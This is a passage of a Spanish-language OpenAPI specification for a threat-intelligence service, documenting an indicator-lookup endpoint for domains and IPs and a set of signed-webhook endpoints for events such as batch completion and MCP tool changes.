campaña."}}}},"fuentes":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"nombre":{"type":"string"},"licencia":{"type":"string"},"atribucion_obligatoria":{"type":"boolean"},"atribucion":{"type":"string"},"enlaces":{"type":"array","items":{"type":"object","properties":{"texto":{"type":"string"},"url":{"type":"string"}}}},"primera_vez":{"type":"string"},"ultima_vez":{"type":"string"}}}},"atribucion":{"type":"array","description":"Atribuciones obligatorias que hay que conservar al reutilizar los datos.","items":{"type":"string"}},"aviso":{"type":"string"},"generado":{"type":"string"}}}},"application/stix+json;version=2.1":{"schema":{"type":"object","description":"Bundle STIX 2.1: marking-definition, campaign, indicator y relationship."}}}}}}},"/v1/inteligencia/indicador":{"get":{"summary":"¿Es conocido este indicador? (inteligencia v2)","description":"Para un dominio, un enlace (solo se usa su dominio) o una dirección IP: si lo conocemos, su campaña, la primera y la última vez, la confianza con su desglose y las fuentes con su licencia y atribución. Cualquier otra cosa (correos, teléfonos, cuentas…) se rechaza con 400. No estar en la lista no significa que sea seguro. Misma clave y mismo cupo que Comprobar.","security":[{"clave":[]}],"parameters":[{"name":"valor","in":"query","required":true,"schema":{"type":"string","maxLength":300},"description":"Dominio, enlace o dirección IP."},{"name":"formato","in":"query","required":false,"schema":{"type":"string","enum":["json","stix"],"default":"json"},"description":"«stix» devuelve un bundle STIX 2.1 (application/stix+json;version=2.1)."}],"responses":{"401":{"description":"Clave ausente o no válida (las claves de prueba no valen aquí)"},"404":{"description":"No disponible (apagado)"},"429":{"description":"Cupo agotado (cabecera Retry-After); cada llamada gasta 1 del mismo cupo que Comprobar"},"400":{"description":"Falta «valor» o no es un dominio, un enlace ni una IP"},"200":{"description":"Resultado","content":{"application/json":{"schema":{"type":"object","properties":{"valor":{"type":"string"},"tipo":{"type":"string","enum":["dominio","ip"]},"conocido":{"type":"boolean"},"primera_vez":{"type":"string","nullable":true},"ultima_vez":{"type":"string","nullable":true},"marca":{"type":"string","nullable":true},"campana":{"type":"object","nullable":true},"confianza":{"type":"object","properties":{"puntuacion":{"type":"integer","minimum":0,"maximum":100},"nivel":{"type":"string","enum":["baja","media","alta"]},"desglose":{"type":"array","description":"Qué suma cada punto; la suma de «puntos» es la puntuación.","items":{"type":"object","properties":{"concepto":{"type":"string"},"detalle":{"type":"string"},"puntos":{"type":"integer"}}}}}},"fuentes":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"nombre":{"type":"string"},"licencia":{"type":"string"},"atribucion_obligatoria":{"type":"boolean"},"atribucion":{"type":"string"},"enlaces":{"type":"array","items":{"type":"object","properties":{"texto":{"type":"string"},"url":{"type":"string"}}}},"primera_vez":{"type":"string"},"ultima_vez":{"type":"string"}}}},"atribucion":{"type":"array","description":"Atribuciones obligatorias que hay que conservar al reutilizar los datos.","items":{"type":"string"}},"aviso":{"type":"string"},"generado":{"type":"string"}}}},"application/stix+json;version=2.1":{"schema":{"type":"object","description":"Bundle STIX 2.1: marking-definition, campaign, indicator y relationship."}}}}}}},"/v1/webhooks":{"post":{"summary":"Crea un webhook","description":"Solo https al puerto 443 y a un nombre de dominio público (ni IP ni nombres internos); no se siguen redirecciones. Como mucho 5 por cliente. El secreto para comprobar la firma sale solo en esta respuesta: guárdalo. Cada aviso es un POST con JSON {type, timestamp, data} y las cabeceras webhook-id, webhook-timestamp y webhook-signature de Standard Webhooks: «v1,» y el HMAC-SHA256 en base64 de «webhook-id.webhook-timestamp.cuerpo», con los bytes del secreto que va tras «whsec_» (en base64). Comprueba la firma con el cuerpo tal cual llega y rechaza horas con más de 5 minutos de diferencia. Responde 2xx para darlo por entregado; un 3xx no se sigue y cuenta como fallo; un 410 desactiva el webhook. Se reintenta con espera exponencial (de 5 s a 6 h) hasta 10 intentos, y 15 fallos seguidos lo desactivan. Eventos: «guardian.observar»: El Guardián, con tu clave en modo «observar», habría dicho «parar» o «preguntar».; «lote.terminado»: Un lote de /v1/comprobar/lote ha terminado: cuántos mensajes se analizaron, cuántos se rechazaron y cuántos salieron en cada nivel.; «mcp.herramientas_cambiadas»: El escáner de servidores MCP ha visto que las herramientas cambiaron respecto a la huella anterior.; «vigia.aviso»: El vigía de tu dominio ha encontrado algo (certificado, caducidad, redirección, subdominio, imitación…). Solo para los dominios que tenga apuntados tu contrato..","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["url","eventos"],"properties":{"url":{"type":"string","maxLength":2000},"eventos":{"type":"array","minItems":1,"items":{"type":"string","enum":["guardian.observar","lote.terminado","mcp.herramientas_cambiadas","vigia.aviso"]}}}},"example":{"url":"https://<tu-dominio>/aim","eventos":["lote.terminado"]}}}},"responses":{"401":{"description":"Clave ausente o no válida"},"403":{"description":"Las claves de prueba no sirven para webhooks"},"429":{"description":"Demasiadas peticiones (cabecera Retry-After)"},"201":{"description":"Creado","content":{"application/json":{"schema":{"allOf":[{"type":"object","properties":{"id":{"type":"string"},"url":{"type":"string"},"eventos":{"type":"array","items":{"type":"string","enum":["guardian.observar","lote.terminado","mcp.herramientas_cambiadas","vigia.aviso"]}},"activo":{"type":"boolean"},"fallos_seguidos":{"type":"integer"},"desactivado":{"type":"object","nullable":true,"description":"Si está desactivado: motivo («410» o «fallos_seguidos») y fecha.","properties":{"motivo":{"type":"string"},"fecha":{"type":"string"}}},"creado":{"type":"string","description":"Fecha UTC, ISO 8601."}}},{"type":"object","properties":{"secreto":{"type":"string","description":"«whsec_…». Solo ahora."}}}]}}}},"400":{"description":"Dirección o eventos no válidos"},"409":{"description":"Ya tienes el máximo de webhooks"},"415":{"description":"Falta Content-Type: application/json"}}},"get":{"summary":"Lista tus webhooks","description":"Solo los de tu clave. Sin secretos.","security":[{"clave":[]}],"responses":{"401":{"description":"Clave ausente o no válida"},"403":{"description":"Las claves de prueba no sirven para webhooks"},"429":{"description":"Demasiadas peticiones (cabecera Retry-After)"},"200":{"description":"Lista","content":{"application/json":{"schema":{"type":"object","properties":{"webhooks":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"url":{"type":"string"},"eventos":{"type":"array","items":{"type":"string","enum":["guardian.observar","lote.terminado","mcp.herramientas_cambiadas","vigia.aviso"]}},"activo":{"type":"boolean"},"fallos_seguidos":{"type":"integer"},"desactivado":{"type":"object","nullable":true,"description":"Si está desactivado: motivo («410» o «fallos_seguidos») y fecha.","properties":{"motivo":{"type":"string"},"fecha":{"type":"string"}}},"creado":{"type":"string","description":"Fecha UTC, ISO 8601."}}}},"eventos_disponibles":{"type":"array","items":{"type":"string"}}}}}}}}}},"/v1/webhooks/{id}":{"delete":{"summary":"Borra un webhook","description":"Borra también su cola y su registro de entregas.","security":[{"clave":[]}],"parameters":[{"name":"id","in":"path","required":true,"schema":{"type":"string","pattern":"^ep_[0-9a-f]{24}$"}}],"responses":{"401":{"description":"Clave ausente o no válida"},"403":{"description":"Las claves de prueba no sirven para webhooks"},"429":{"description":"Demasiadas peticiones (cabecera Retry-After)"},"204":{"description":"Borrado"},"404":{"description":"No existe o no es tuyo"}}}},"/v1/webhooks/{id}/probar":{"post":{"summary":"Manda un aviso de prueba ya","description":"Un evento «webhook.prueba» firmado, solo a este webhook, y te dice cómo fue el primer intento. Si falla, se reintenta como cualquier otro.","security":[{"clave":[]}],"parameters":[{"name":"id","in":"path","required":true,"schema":{"type":"string","pattern":"^ep_[0-9a-f]{24}$"}}],"responses":{"401":{"description":"Clave ausente o no válida"},"403":{"description":"Las claves de prueba no sirven para webhooks"},"429":{"description":"Demasiadas peticiones (cabecera Retry-After)"},"200":{"description":"Resultado del primer intento","content":{"application/json":{"schema":{"type":"object","properties":{"mensaje":{"type":"string","description":"El webhook-id."},"estado":{"type":"string","enum":["entregado","fallo","abandonado","en_cola"]},"http":{"type":"integer","nullable":true},"error":{"type":"string","nullable":true,"enum":[null,"destino_no_publico","sin_respuesta","tls","redireccion","gone","http","interno"]}}}}}},"404":{"description":"No existe o no es tuyo"},"409":{"description":"Está desactivado"}}}},"/v1/webhooks/{id}/entregas":{"get":{"summary":"Registro de entregas","description":"Los últimos 50 intentos: estado, código HTTP y tipo de error. Sin cuerpo ni cabeceras. Se guardan 30 días.","security":[{"clave":[]}],"parameters":[{"name":"id","in":"path","required":true,"schema":{"type":"string","pattern":"^ep_[0-9a-f]{24}$"}}],"responses":{"401":{"description":"Clave ausente o no válida"},"403":{"description":"Las claves de prueba no sirven para webhooks"},"429":{"description":"Demasiadas peticiones (cabecera Retry-After)"},"200":{"description":"Registro","content":{"application/json":{"schema":{"type":"object","properties":{"entregas":{"type":"array","items":{"type":"object","properties":{"mensaje":{"type":"string"},"evento":{"type":"string"},"intento":{"type":"integer"},"fecha":{"type":"string"},"estado":{"type":"string","enum":["entregado","fallo","abandonado"]},"http":{"type":"integer","nullable":true},"error":{"type":"string","nullable":true}}}}}}}}},"404":{"description":"No existe o no es tuyo"}}}},"/v1/webhooks/{id}/reactivar":{"post":{"summary":"Reactiva un webhook desactivado","description":"Pone a cero los fallos seguidos. Lo que se abandonó al desactivarlo no se vuelve a mandar.","security":[{"clave":[]}],"parameters":[{"name":"id","in":"path","required":true,"schema":{"type":"string","pattern":"^ep_[0-9a-f]{24}$"}}],"responses":{"401":{"description":"Clave ausente o no válida"},"403":{"description":"Las claves de prueba no sirven para webhooks"},"429":{"description":"Demasiadas peticiones (cabecera Retry-After)"},"200":{"description":"Webhook","content":{"application/json":{"schema":{"type":"object","properties":{"id":{"type":"string"},"url":{"type":"string"},"eventos":{"type":"array","items":{"type":"string","enum":["guardian.observar","lote.terminado","mcp.herramientas_cambiadas","vigia.aviso"]}},"activo":{"type":"boolean"},"fallos_seguidos":{"type":"integer"},"desactivado":{"type":"object","nullable":true,"description":"Si está desactivado: motivo («410» o «fallos_seguidos») y fecha.","properties":{"motivo":{"type":"string"},"fecha":{"type":"string"}}},"creado":{"type":"string","description":"Fecha UTC, ISO 8601."}}}}}},"404":{"description":"No existe o no es tuyo"}}}}},"components":{"securitySchemes":{"clave":{"type":"http","scheme":"bearer"}}}}